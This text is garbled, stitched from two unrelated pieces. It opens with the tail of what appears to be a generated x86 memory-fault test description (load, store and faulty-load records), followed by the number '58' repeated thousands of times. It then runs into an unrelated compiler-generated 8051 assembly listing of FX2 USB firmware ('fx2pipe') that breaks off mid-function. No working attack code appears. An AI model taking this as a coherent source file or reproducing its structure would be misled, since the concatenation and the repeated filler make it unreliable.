'NT': True, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'58': 11817} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 2.8.0 #5117 (May 29 2008) (UNIX) ; This file was generated Wed Apr 29 00:40:33 2009 ;-------------------------------------------------------- .module fx2pipe .optsdcc -mmcs51 --model-small ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _main .globl _EIP .globl _B .globl _EIE .globl _ACC .globl _EICON .globl _PSW .globl _TH2 .globl _TL2 .globl _RCAP2H .globl _RCAP2L .globl _T2CON .globl _SBUF1 .globl _SCON1 .globl _GPIFSGLDATLNOX .globl _GPIFSGLDATLX .globl _GPIFSGLDATH .globl _GPIFTRIG .globl _EP01STAT .globl _IP .globl _OEE .globl _OED .globl _OEC .globl _OEB .globl _OEA .globl _IOE .globl _IOD .globl _AUTOPTRSETUP .globl _EP68FIFOFLGS .globl _EP24FIFOFLGS .globl _EP2468STAT .globl _IE .globl _INT4CLR .globl _INT2CLR .globl _IOC .globl _AUTODAT2 .globl _AUTOPTRL2 .globl _AUTOPTRH2 .globl _AUTODAT1 .globl _APTR1L .globl _APTR1H .globl _SBU .globl _SCO .globl _MPA .globl _EXIF .globl _IOB .globl _SPC_ .globl _CKCO .globl _TH1 .globl _TH0 .globl _TL1 .globl _TL0 .globl _TMOD .globl _TCON .globl _PCON .globl _DPS .globl _DPH1 .globl _DPL1 .globl _DPH .globl _DPL .globl _SP .globl _IOA .globl _EP8FIFOBUF .globl _EP6FIFOBUF .globl _EP4FIFOBUF .globl _EP2FIFOBUF .globl _EP1INBUF .globl _EP1OUTBUF .globl _EP0BUF .globl _CT4 .globl _CT3 .globl _CT2 .globl _CT1 .globl _USBTEST .globl _TESTCFG .globl _DBUG .globl _UDMACRCQUAL .globl _UDMACRCL .globl _UDMACRCH .globl _GPIFHOLDAMOUNT .globl _FLOWSTBHPERIOD .globl _FLOWSTBEDGE .globl _FLOWSTB .globl _FLOWHOLDOFF .globl _FLOWEQ1CTL .globl _FLOWEQ0CTL .globl _FLOWLOGIC .globl _FLOWSTATE .globl _GPIFABORT .globl _GPIFREADYSTAT .globl _GPIFREADYCFG .globl _XGPIFSGLDATLNOX .globl _XGPIFSGLDATLX .globl _XGPIFSGLDATH .globl _EP8GPIFTRIG .globl _EP8GPIFPFSTOP .globl _EP8GPIFFLGSEL .globl _EP6GPIFTRIG .globl _EP6GPIFPFSTOP .globl _EP6GPIFFLGSEL .globl _EP4GPIFTRIG .globl _EP4GPIFPFSTOP .globl _EP4GPIFFLGSEL .globl _EP2GPIFTRIG .globl _EP2GPIFPFSTOP .globl _EP2GPIFFLGSEL .globl _GPIFTCB0 .globl _GPIFTCB1 .globl _GPIFTCB2 .globl _GPIFTCB3 .globl _GPIFADRL .globl _GPIFADRH .globl _GPIFCTLCFG .globl _GPIFIDLECTL .globl _GPIFIDLECS .globl _GPIFWFSELECT .globl _SETUPDAT .globl _SUDPTRCTL .globl _SUDPTRL .globl _SUDPTRH .globl _EP8FIFOBCL .globl _EP8FIFOBCH .globl _EP6FIFOBCL .globl _EP6FIFOBCH .globl _EP4FIFOBCL .globl _EP4FIFOBCH .globl _EP2FIFOBCL .globl _EP2FIFOBCH .globl _EP8FIFOFLGS .globl _EP6FIFOFLGS .globl _EP4FIFOFLGS .globl _EP2FIFOFLGS .globl _EP8CS .globl _EP6CS .globl _EP4CS .globl _EP2CS .globl _EP1INCS .globl _EP1OUTCS .globl _EP0CS .globl _EP8BCL .globl _EP8BCH .globl _EP6BCL .globl _EP6BCH .globl _EP4BCL .globl _EP4BCH .globl _EP2BCL .globl _EP2BCH .globl _EP1INBC .globl _EP1OUTBC .globl _EP0BCL .globl _EP0BCH .globl _FNADDR .globl _MICROFRAME .globl _USBFRAMEL .globl _USBFRAMEH .globl _TOGCTL .globl _WAKEUPCS .globl _SUSPEND .globl _USBCS .globl _XAUTODAT2 .globl _XAUTODAT1 .globl _I2CTL .globl _I2DAT .globl _I2CS .globl _PORTECFG .globl _PORTCCFG .globl _PORTACFG .globl _INTSETUP .globl _INT4IVEC .globl _INT2IVEC .globl _CLRERRCNT .globl _ERRCNTLIM .globl _USBERRIRQ .globl _USBERRIE .globl _GPIFIRQ .globl _GPIFIE .globl _EPIRQ .globl _EPIE .globl _USBIRQ .globl _USBIE .globl _NAKIRQ .globl _NAKIE .globl _IBNIRQ .globl _IBNIE .globl _EP8FIFOIRQ .globl _EP8FIFOIE .globl _EP6FIFOIRQ .globl _EP6FIFOIE .globl _EP4FIFOIRQ .globl _EP4FIFOIE .globl _EP2FIFOIRQ .globl _EP2FIFOIE .globl _OUTPKTEND .globl _INPKTEND .globl _EP8ISOINPKTS .globl _EP6ISOINPKTS .globl _EP4ISOINPKTS .globl _EP2ISOINPKTS .globl _EP8FIFOPFL .globl _EP8FIFOPFH .globl _EP6FIFOPFL .globl _EP6FIFOPFH .globl _EP4FIFOPFL .globl _EP4FIFOPFH .globl _EP2FIFOPFL .globl _EP2FIFOPFH .globl _EP8AUTOINLENL .globl _EP8AUTOINLENH .globl _EP6AUTOINLENL .globl _EP6AUTOINLENH .globl _EP4AUTOINLENL .globl _EP4AUTOINLENH .globl _EP2AUTOINLENL .globl _EP2AUTOINLENH .globl _EP8FIFOCFG .globl _EP6FIFOCFG .globl _EP4FIFOCFG .globl _EP2FIFOCFG .globl _EP8CFG .globl _EP6CFG .globl _EP4CFG .globl _EP2CFG .globl _EP1INCFG .globl _EP1OUTCFG .globl _REVCTL .globl _REVID .globl _FIFOPINPOLAR .globl _UART230 .globl _BPADDRL .globl _BPADDRH .globl _BREAKPT .globl _FIFORESET .globl _PINFLAGSCD .globl _PINFLAGSAB .globl _IFCONFIG .globl _CPUCS .globl _RES_WAVEDATA_END .globl _GPIF_WAVE_DATA ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- .area RSEG (DATA) _IOA = 0x0080 _SP = 0x0081 _DPL = 0x0082 _DPH = 0x0083 _DPL1 = 0x0084 _DPH1 = 0x0085 _DPS = 0x0086 _PCON = 0x0087 _TCON = 0x0088 _TMOD = 0x0089 _TL0 = 0x008a _TL1 = 0x008b _TH0 = 0x008c _TH1 = 0x008d _CKCO = 0x008e _SPC_ = 0x008f _IOB = 0x0090 _EXIF = 0x0091 _MPA = 0x0092 _SCO = 0x0098 _SBU = 0x0099 _APTR1H = 0x009a _APTR1L = 0x009b _AUTODAT1 = 0x009c _AUTOPTRH2 = 0x009d _AUTOPTRL2 = 0x009e _AUTODAT2 = 0x009f _IOC = 0x00a0 _INT2CLR = 0x00a1 _INT4CLR = 0x00a2 _IE = 0x00a8 _EP2468STAT = 0x00aa _EP24FIFOFLGS = 0x00ab _EP68FIFOFLGS = 0x00ac _AUTOPTRSETUP = 0x00af _IOD = 0x00b0 _IOE = 0x00b1 _OEA = 0x00b2 _OEB = 0x00b3 _OEC = 0x00b4 _OED = 0x00b5 _OEE = 0x00b6 _IP = 0x00b8 _EP01STAT = 0x00ba _GPIFTRIG = 0x00bb _GPIFSGLDATH = 0x00bd _GPIFSGLDATLX = 0x00be _GPIFSGLDATLNOX = 0x00bf _SCON1 = 0x00c0 _SBUF1 = 0x00c1 _T2CON = 0x00c8 _RCAP2L = 0x00ca _RCAP2H = 0x00cb _TL2 = 0x00cc _TH2 = 0x00cd _PSW = 0x00d0 _EICON = 0x00d8 _ACC = 0x00e0 _EIE = 0x00e8 _B = 0x00f0 _EIP = 0x00f8 ;-------------------------------------------------------- ; special function bits ;-------------------------------------------------------- .area RSEG (DATA) ;-------------------------------------------------------- ; overlayable register banks ;-------------------------------------------------------- .area REG_BANK_0 (REL,OVR,DATA) .ds 8 ;-------------------------------------------------------- ; internal ram data ;-------------------------------------------------------- .area DSEG (DATA) ;-------------------------------------------------------- ; overlayable items in internal ram ;-------------------------------------------------------- .area OSEG (OVR,DATA) ;-------------------------------------------------------- ; Stack segment in internal ram ;-------------------------------------------------------- .area SSEG (DATA) __start__stack: .ds 1 ;-------------------------------------------------------- ; indirectly addressable internal ram data ;-------------------------------------------------------- .area ISEG (DATA) ;-------------------------------------------------------- ; absolute internal ram data ;-------------------------------------------------------- .area IABS (ABS,DATA) .area IABS (ABS,DATA) ;-------------------------------------------------------- ; bit data ;-------------------------------------------------------- .area BSEG (BIT) ;-------------------------------------------------------- ; paged external ram data ;-------------------------------------------------------- .area PSEG (PAG,XDATA) ;-------------------------------------------------------- ; external ram data ;-------------------------------------------------------- .area XSEG (XDATA) _GPIF_WAVE_DATA = 0xe400 _RES_WAVEDATA_END = 0xe480 _CPUCS = 0xe600 _IFCONFIG = 0xe601 _PINFLAGSAB = 0xe602 _PINFLAGSCD = 0xe603 _FIFORESET = 0xe604 _BREAKPT = 0xe605 _BPADDRH = 0xe606 _BPADDRL = 0xe607 _UART230 = 0xe608 _FIFOPINPOLAR = 0xe609 _REVID = 0xe60a _REVCTL = 0xe60b _EP1OUTCFG = 0xe610 _EP1INCFG = 0xe611 _EP2CFG = 0xe612 _EP4CFG = 0xe613 _EP6CFG = 0xe614 _EP8CFG = 0xe615 _EP2FIFOCFG = 0xe618 _EP4FIFOCFG = 0xe619 _EP6FIFOCFG = 0xe61a _EP8FIFOCFG = 0xe61b _EP2AUTOINLENH = 0xe620 _EP2AUTOINLENL = 0xe621 _EP4AUTOINLENH = 0xe622 _EP4AUTOINLENL = 0xe623 _EP6AUTOINLENH = 0xe624 _EP6AUTOINLENL = 0xe625 _EP8AUTOINLENH = 0xe626 _EP8AUTOINLENL = 0xe627 _EP2FIFOPFH = 0xe630 _EP2FIFOPFL = 0xe631 _EP4FIFOPFH = 0xe632 _EP4FIFOPFL = 0xe633 _EP6FIFOPFH = 0xe634 _EP6FIFOPFL = 0xe635 _EP8FIFOPFH = 0xe636 _EP8FIFOPFL = 0xe637 _EP2ISOINPKTS = 0xe640 _EP4ISOINPKTS = 0xe641 _EP6ISOINPKTS = 0xe642 _EP8ISOINPKTS = 0xe643 _INPKTEND = 0xe648 _OUTPKTEND = 0xe649 _EP2FIFOIE = 0xe650 _EP2FIFOIRQ = 0xe651 _EP4FIFOIE = 0xe652 _EP4FIFOIRQ = 0xe653 _EP6FIFOIE = 0xe654 _EP6FIFOIRQ = 0xe655 _EP8FIFOIE = 0xe656 _EP8FIFOIRQ = 0xe657 _IBNIE = 0xe658 _IBNIRQ = 0xe659 _NAKIE = 0xe65a _NAKIRQ = 0xe65b _USBIE = 0xe65c _USBIRQ = 0xe65d _EPIE = 0xe65e _EPIRQ = 0xe65f _GPIFIE = 0xe660 _GPIFIRQ = 0xe661 _USBERRIE = 0xe662 _USBERRIRQ = 0xe663 _ERRCNTLIM = 0xe664 _CLRERRCNT = 0xe665 _INT2IVEC = 0xe666 _INT4IVEC = 0xe667 _INTSETUP = 0xe668 _PORTACFG = 0xe670 _PORTCCFG = 0xe671 _PORTECFG = 0xe672 _I2CS = 0xe678 _I2DAT = 0xe679 _I2CTL = 0xe67a _XAUTODAT1 = 0xe67b _XAUTODAT2 = 0xe67c _USBCS = 0xe680 _SUSPEND = 0xe681 _WAKEUPCS = 0xe682 _TOGCTL = 0xe683 _USBFRAMEH = 0xe684 _USBFRAMEL = 0xe685 _MICROFRAME = 0xe686 _FNADDR = 0xe687 _EP0BCH = 0xe68a _EP0BCL = 0xe68b _EP1OUTBC = 0xe68d _EP1INBC = 0xe68f _EP2BCH = 0xe690 _EP2BCL = 0xe691 _EP4BCH = 0xe694 _EP4BCL = 0xe695 _EP6BCH = 0xe698 _EP6BCL = 0xe699 _EP8BCH = 0xe69c _EP8BCL = 0xe69d _EP0CS = 0xe6a0 _EP1OUTCS = 0xe6a1 _EP1INCS = 0xe6a2 _EP2CS = 0xe6a3 _EP4CS = 0xe6a4 _EP6CS = 0xe6a5 _EP8CS = 0xe6a6 _EP2FIFOFLGS = 0xe6a7 _EP4FIFOFLGS = 0xe6a8 _EP6FIFOFLGS = 0xe6a9 _EP8FIFOFLGS = 0xe6aa _EP2FIFOBCH = 0xe6ab _EP2FIFOBCL = 0xe6ac _EP4FIFOBCH = 0xe6ad _EP4FIFOBCL = 0xe6ae _EP6FIFOBCH = 0xe6af _EP6FIFOBCL = 0xe6b0 _EP8FIFOBCH = 0xe6b1 _EP8FIFOBCL = 0xe6b2 _SUDPTRH = 0xe6b3 _SUDPTRL = 0xe6b4 _SUDPTRCTL = 0xe6b5 _SETUPDAT = 0xe6b8 _GPIFWFSELECT = 0xe6c0 _GPIFIDLECS = 0xe6c1 _GPIFIDLECTL = 0xe6c2 _GPIFCTLCFG = 0xe6c3 _GPIFADRH = 0xe6c4 _GPIFADRL = 0xe6c5 _GPIFTCB3 = 0xe6ce _GPIFTCB2 = 0xe6cf _GPIFTCB1 = 0xe6d0 _GPIFTCB0 = 0xe6d1 _EP2GPIFFLGSEL = 0xe6d2 _EP2GPIFPFSTOP = 0xe6d3 _EP2GPIFTRIG = 0xe6d4 _EP4GPIFFLGSEL = 0xe6da _EP4GPIFPFSTOP = 0xe6db _EP4GPIFTRIG = 0xe6dc _EP6GPIFFLGSEL = 0xe6e2 _EP6GPIFPFSTOP = 0xe6e3 _EP6GPIFTRIG = 0xe6e4 _EP8GPIFFLGSEL = 0xe6ea _EP8GPIFPFSTOP = 0xe6eb _EP8GPIFTRIG = 0xe6ec _XGPIFSGLDATH = 0xe6f0 _XGPIFSGLDATLX = 0xe6f1 _XGPIFSGLDATLNOX = 0xe6f2 _GPIFREADYCFG = 0xe6f3 _GPIFREADYSTAT = 0xe6f4 _GPIFABORT = 0xe6f5 _FLOWSTATE = 0xe6c6 _FLOWLOGIC = 0xe6c7 _FLOWEQ0CTL = 0xe6c8 _FLOWEQ1CTL = 0xe6c9 _FLOWHOLDOFF = 0xe6ca _FLOWSTB = 0xe6cb _FLOWSTBEDGE = 0xe6cc _FLOWSTBHPERIOD = 0xe6cd _GPIFHOLDAMOUNT = 0xe60c _UDMACRCH = 0xe67d _UDMACRCL = 0xe67e _UDMACRCQUAL = 0xe67f _DBUG = 0xe6f8 _TESTCFG = 0xe6f9 _USBTEST = 0xe6fa _CT1 = 0xe6fb _CT2 = 0xe6fc _CT3 = 0xe6fd _CT4 = 0xe6fe _EP0BUF = 0xe740 _EP1OUTBUF = 0xe780 _EP1INBUF = 0xe7c0 _EP2FIFOBUF = 0xf000 _EP4FIFOBUF = 0xf400 _EP6FIFOBUF = 0xf800 _EP8FIFOBUF = 0xfc00 ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area XABS (ABS,XDATA) ;-------------------------------------------------------- ; external initialized ram data ;-------------------------------------------------------- .area XISEG (XDATA) .area HOME (CODE) .area GSINIT0 (CODE) .area GSINIT1 (CODE) .area GSINIT2 (CODE) .area GSINIT3 (CODE) .area GSINIT4 (CODE) .area GSINIT5 (CODE) .area GSINIT (CODE) .area GSFINAL (CODE) .area CSEG (CODE) ;-------------------------------------------------------- ; interrupt vector ;-------------------------------------------------------- .area HOME (CODE) __interrupt_vect: ljmp __sdcc_gsinit_startup ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area HOME (CODE) .area GSINIT (CODE) .area GSFINAL (CODE) .area GSINIT (CODE) .globl __sdcc_gsinit_startup .globl __sdcc_program_startup .globl __start__stack .globl __mcs51_genXINIT .globl __mcs51_genXRAMCLEAR .globl __mcs51_genRAMCLEAR .area GSFINAL (CODE) ljmp __sdcc_program_startup ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area HOME (CODE) .area HOME (CODE) __sdcc_program_startup: lcall _main ; return from main will lock up sjmp . ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area CSEG (CODE) ;------------------------------------------------------------ ;Allocation info for local variables in function 'Initialize' ;------------------------------------------------------------ ;cfg_data Allocated to registers ;cfg_data_ok Allocated to registers r5 ;------------------------------------------------------------ ; fx2pipe.c:56: static void Initialize(void) ; ----------------------------------------- ; function Initialize ; ----------------------------------------- _Initialize: ar2 = 0x02 ar3 = 0x03 ar4 = 0x04 ar5 = 0x05 ar6 = 0x06 ar7 = 0x07 ar0 = 0x00 ar1 = 0x01 ; fx2pipe.c:65: char cfg_data_ok = (cfg_data[0]==0x12U || cfg_data[0]==0x21U); mov dptr,#0x1003 movx a,@dptr mov r2,a rlc a subb a,acc mov r3,a clr a cjne r2,#0x12,00126$ cjne r3,#0x00,00126$ inc a 00126$: mov r4,a jnz 00112$ cjne r2,#0x21,00129$ cjne r3,#0x00,00129$ sjmp 00112$ 00129$: mov r5,#0x00 sjmp 00113$ 00112$: mov r5,#0x01 00113$: ; fx2pipe.c:67: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:77: CPUCS = cfg_data_ok ? cfg_data[4] : 0x12; // 0x12 mov a,r5 jz 00114$ mov dptr,#0x1007 movx a,@dptr mov r6,a sjmp 00115$ 00114$: mov r6,#0x12 00115$: mov dptr,#_CPUCS mov a,r6 movx @dptr,a ; fx2pipe.c:78: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:93: IFCONFIG = cfg_data_ok ? cfg_data[1] : 0xc3; mov a,r5 jz 00116$ mov dptr,#0x1004 movx a,@dptr mov r5,a sjmp 00117$ 00116$: mov r5,#0xC3 00117$: mov dptr,#_IFCONFIG mov a,r5 movx @dptr,a ; fx2pipe.c:94: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:97: REVCTL = 0x03; // See TRM... mov dptr,#_REVCTL mov a,#0x03 movx @dptr,a ; fx2pipe.c:98: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:101: PORTACFG = 0x00; mov dptr,#_PORTACFG clr a movx @dptr,a ; fx2pipe.c:102: SYNCDELAY; // maybe not needed nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:105: FIFOPINPOLAR=0x00; mov dptr,#_FIFOPINPOLAR clr a movx @dptr,a ; fx2pipe.c:106: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:109: EP6CFG=0x00U; SYNCDELAY; mov dptr,#_EP6CFG clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:110: EP2CFG=0x00U; SYNCDELAY; mov dptr,#_EP2CFG clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:111: EP6FIFOCFG=0x00U; SYNCDELAY; mov dptr,#_EP6FIFOCFG clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:112: EP2FIFOCFG=0x00U; SYNCDELAY; mov dptr,#_EP2FIFOCFG clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:113: OEA=0x00U; mov _OEA,#0x00 ; fx2pipe.c:115: if(cfg_data[0]==0x12U) /* INPUT: USB->HOST */ mov a,r4 jnz 00132$ ljmp 00107$ 00132$: ; fx2pipe.c:126: EP6CFG = cfg_data[2]; // bulk: 0xe2 double-buffered; 0xe3 triple-; 0xe0 quad mov dptr,#0x1005 movx a,@dptr mov r4,a mov dptr,#_EP6CFG movx @dptr,a ; fx2pipe.c:127: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:131: FIFORESET = 0x80; SYNCDELAY; // NAK all requests from host. mov dptr,#_FIFORESET mov a,#0x80 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:132: FIFORESET = 0x82; SYNCDELAY; // Reset individual EP (2,4,6,8) mov dptr,#_FIFORESET mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:133: FIFORESET = 0x84; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x84 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:134: FIFORESET = 0x86; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x86 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:135: FIFORESET = 0x88; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x88 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:136: FIFORESET = 0x00; SYNCDELAY; // Resume normal operation. mov dptr,#_FIFORESET clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:148: EP6FIFOCFG = cfg_data[3]; /*0x0d //&0xfe*/; mov dptr,#0x1006 movx a,@dptr mov r4,a mov dptr,#_EP6FIFOCFG movx @dptr,a ; fx2pipe.c:149: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:154: EP6AUTOINLENH = 0x02; // MSB mov dptr,#_EP6AUTOINLENH mov a,#0x02 movx @dptr,a ; fx2pipe.c:155: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:156: EP6AUTOINLENL = 0x00; // LSB mov dptr,#_EP6AUTOINLENL clr a movx @dptr,a ; fx2pipe.c:157: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ret 00107$: ; fx2pipe.c:165: else if(cfg_data[0]==0x21U) /* OUTPUT: HOST->USB */ cjne r2,#0x21,00133$ cjne r3,#0x00,00133$ sjmp 00134$ 00133$: ret 00134$: ; fx2pipe.c:176: EP2CFG = cfg_data[2]; // bulk: 0xa2 double-buffered; 0xa3 triple-; 0xa0 quad mov dptr,#0x1005 movx a,@dptr mov r2,a mov dptr,#_EP2CFG movx @dptr,a ; fx2pipe.c:177: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:181: FIFORESET = 0x80; SYNCDELAY; // NAK all requests from host. mov dptr,#_FIFORESET mov a,#0x80 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:182: FIFORESET = 0x82; SYNCDELAY; // Reset individual EP (2,4,6,8) mov dptr,#_FIFORESET mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:183: FIFORESET = 0x84; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x84 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:184: FIFORESET = 0x86; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x86 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:185: FIFORESET = 0x88; SYNCDELAY; mov dptr,#_FIFORESET mov a,#0x88 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:186: FIFORESET = 0x00; SYNCDELAY; // Resume normal operation. mov dptr,#_FIFORESET clr a movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:189: OUTPKTEND = 0x82; SYNCDELAY; mov dptr,#_OUTPKTEND mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:190: OUTPKTEND = 0x82; SYNCDELAY; mov dptr,#_OUTPKTEND mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:191: switch(cfg_data[2]&0x03U) mov a,r2 rlc a subb a,acc anl ar2,#0x03 mov r3,#0x00 cjne r2,#0x00,00135$ cjne r3,#0x00,00135$ sjmp 00101$ 00135$: ; fx2pipe.c:193: case 0x00U: OUTPKTEND = 0x82; SYNCDELAY; // Quad-buffered. cjne r2,#0x03,00103$ cjne r3,#0x00,00103$ sjmp 00102$ 00101$: mov dptr,#_OUTPKTEND mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:194: case 0x03U: 